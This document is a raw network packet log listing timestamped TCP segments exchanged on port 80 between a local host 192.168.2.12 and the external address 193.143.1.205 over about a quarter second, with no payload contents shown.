Jan 10, 2025 18:00:48.591435909 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.591445923 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.591485977 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.591659069 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.591669083 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.591679096 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.591690063 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.591701031 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.591701984 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.591713905 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.591726065 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.591727972 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.591736078 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.591748953 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.591748953 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.591759920 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.591793060 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.591810942 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.594643116 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.594821930 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.594832897 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.594842911 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.594870090 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.597991943 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.600871086 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.600893974 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.600915909 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.600918055 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.600931883 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.600943089 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.600954056 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.600954056 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.600981951 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.608167887 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.637088060 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.637099981 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.637109995 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.637151003 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.637188911 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.673579931 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.673609972 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.673676968 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.673696041 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.673768044 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.673787117 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.673815966 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.673821926 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.673834085 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.673854113 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.673862934 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.673866034 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.673877001 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.673888922 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.673897982 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.673907995 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.673918962 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.673923969 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.673937082 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.673948050 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.673958063 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.673976898 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.673984051 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.673990011 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.674001932 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.674016953 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.674040079 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.710047007 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710062027 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710082054 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710091114 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710194111 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.710221052 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.710465908 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710477114 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710489035 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710500002 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710511923 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710536957 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.710645914 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710655928 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710674047 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710688114 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710701942 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.710701942 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710727930 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.710745096 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710767984 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.710771084 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710808039 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.710843086 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710853100 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710865974 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710876942 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710899115 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.710907936 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710908890 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.710921049 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710943937 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.710968018 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.711007118 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711020947 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711035967 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711045980 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.711046934 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711059093 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711072922 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711074114 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.711101055 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.711230040 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711241961 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711252928 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711263895 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711271048 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.711277008 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711288929 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711302996 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711302996 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.711323023 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.711333036 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711344957 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.711360931 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711380005 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711400032 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711405039 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.711410999 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711426020 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711440086 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.711457968 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711469889 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.711472034 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711482048 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711494923 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711512089 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.711541891 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.711658955 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711671114 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711684942 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711695910 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711708069 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711718082 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.711738110 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711743116 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.711751938 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711762905 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711776018 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.711776018 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711788893 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.711802959 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.711827993 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.712006092 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712017059 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712028980 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712040901 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712047100 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.712053061 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712064028 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712076902 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712088108 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.712088108 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712100983 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712115049 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712116957 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.712137938 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.712140083 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712146997 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.712152004 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712165117 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712177038 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712189913 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.712191105 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712202072 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712214947 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.712236881 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.712238073 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712250948 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712281942 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.712682009 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712733984 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712773085 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.712934971 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712945938 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712951899 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712956905 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712961912 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712971926 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.712987900 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.713002920 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.713021040 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.713032961 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.713037014 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.713049889 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.713063002 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.713077068 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.713088036 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.713103056 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.713105917 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.713114977 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.713124037 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.713129044 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.713140965 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.713151932 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.713156939 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.713165998 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.713171959 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.713185072 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.713201046 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.713213921 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.713227034 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.713239908 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.713247061 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.713253975 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.713273048 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.713813066 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.761143923 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761163950 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761179924 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761215925 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761230946 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761245012 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761257887 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761267900 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761276007 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761280060 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.761323929 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761326075 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.761336088 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761348963 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761364937 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761375904 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761375904 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.761389017 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761400938 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761411905 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.761415005 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761426926 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761440039 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.761457920 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.761480093 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761492014 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761504889 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761514902 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.761518955 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761539936 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761545897 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.761553049 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.761580944 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.797563076 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.797590017 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.797607899 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.797621012 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.797633886 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.797633886 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.797645092 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.797657967 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.797665119 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.797672033 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.797699928 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.797722101 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.798106909 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798149109 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.798194885 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798207045 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798219919 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798242092 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798244953 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.798258066 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798269987 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798275948 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.798285007 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798296928 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798305035 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.798309088 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798327923 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798336029 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.798362017 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798362017 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.798374891 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798386097 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798410892 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798425913 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798439980 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.798441887 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798449039 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.798475027 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.798504114 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798604012 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798614979 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798626900 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798639059 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.798645973 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798659086 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798662901 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.798670053 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798682928 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798696041 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798702002 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.798710108 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798723936 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798728943 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.798749924 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.798798084 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798810005 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798821926 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798834085 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798836946 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.798846006 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798857927 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798861980 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.798870087 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798892975 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.798902988 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798908949 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.798914909 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798926115 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.798952103 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.799144983 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799156904 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799169064 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799180984 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799181938 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.799192905 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799200058 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.799205065 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799230099 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799240112 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.799263954 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.799289942 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799300909 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799320936 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799341917 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.799346924 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799365997 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799377918 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.799379110 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799390078 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799400091 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799411058 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.799415112 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799427986 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799438000 CET	49710	80	192.168.2.12	193.143.1.205
